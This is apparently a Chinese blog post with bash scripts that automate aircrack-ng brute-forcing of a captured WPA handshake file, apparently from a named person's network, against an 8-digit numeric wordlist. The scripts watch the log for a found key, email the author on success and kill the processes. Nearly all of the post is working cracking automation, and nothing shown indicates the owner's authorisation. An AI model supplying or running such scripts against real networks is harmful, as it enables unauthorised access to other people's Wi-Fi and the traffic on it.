我的思路是直接用nohup守护进程输出结构到指定文件, 然后判断文件中"KEY FOUND"的字段。
启动aircrack-ng方式
nohup aircrack-ng -w /opt/zidian/crackPass/0-9.8位纯数密码.txt /opt/wifi/hejiasheng/-01.cap > hejiasheng.log &
脚本1:chengAircrack.sh
nohup ./chengAircrack.sh > message.log &
这个脚本需要使用nohup启动,指定输出到文件
判断aircrack-ng是否破解成功, 成功则发送邮件通知, 失败不用管, aircrack-ng会自动退出, 当发现aircrack-ng退出后, 下面的clean.sh脚本判断是否杀除运行的两个脚本
#!/bin/bash
function checkModelone(){
echo "获取文件是否破解成功"
grep "KEY" hejiasheng.log > /dev/null
if [ $? -eq 0 ]; then
echo ""
echo "破解成功"
echo "发送邮件到chenglee邮件"
python mail.py
echo ""
echo "判断aircarck-ng是否还在运行"
ps aux|grep aircrack-ng |grep -v grep
if [ $? -ne 0 ]
then
echo ""
echo ""
echo ""
else
echo "aircrack-ng还在运行"
chengkill aircrack-ng
echo ""
echo ""
fi
else
echo ""
echo "穷举失败"
echo "aircrack-ng"
fi
} function checkModeltwo(){
checkModelone
}
while [ true ]; do
/bin/sleep 15
if [ -d "hejiasheng.log" ];then
touch hejiasheng.log
else
if [ -s ./hejiasheng.log ]; then
chengtime=`date "+%Y-%m-%d %H:%M:%S"`
echo "*********************$chengtime*********************"
echo "文件不为空"
checkModelone
du -sh hejiasheng.log
else
echo "文件为空"
checkModeltwo
fi
fi
done
脚本2:clean.sh
判断是否破解成功, 成功就杀死chengAircrack和clean脚本
#!/bin/bash
function checkModelone(){
echo "判断message.log文件"
grep "SUCESS" message.log > /dev/null
if [ $? -eq 0 ]; then
echo "破解成功,杀死chengAircrack"
echo ""
chengkill chengAircrack.sh
echo ""
chengkill clean.sh
else
echo "工作还在继续"
echo "判断aircarck-ng是否还在运行"
ps aux|grep aircrack-ng |grep -v grep
if [ $? -ne 0 ]
then
echo "aircrack-ng已退出"
echo ""
chengkill chengAircrack.sh
echo ""
chengkill clean.sh
echo ""
echo "清理脚本进程完成"
else
echo "aircrack-ng还在运行"
echo ""
fi
fi
} function checkModeltwo(){
checkModelone
}
while [ true ]; do
/bin/sleep 15
if [ -d "message.log" ];then
touch message.log
else
if [ -s ./message.log ]; then
chengtime=`date "+%Y-%m-%d %H:%M:%S"`
echo "*********************$chengtime*********************"
echo "文件不为空"
checkModelone
du -sh message.log
else
echo "文件为空"
checkModeltwo
fi
fi
done
下面是:mail.py
就是这个玩意中的mail.py
我把两个脚本的启动放在一个bash中一起启动命名start.sh
start.sh
#!/bin/bash
nohup ./chengAircrack.sh > message.log &
nohup ./clean.sh &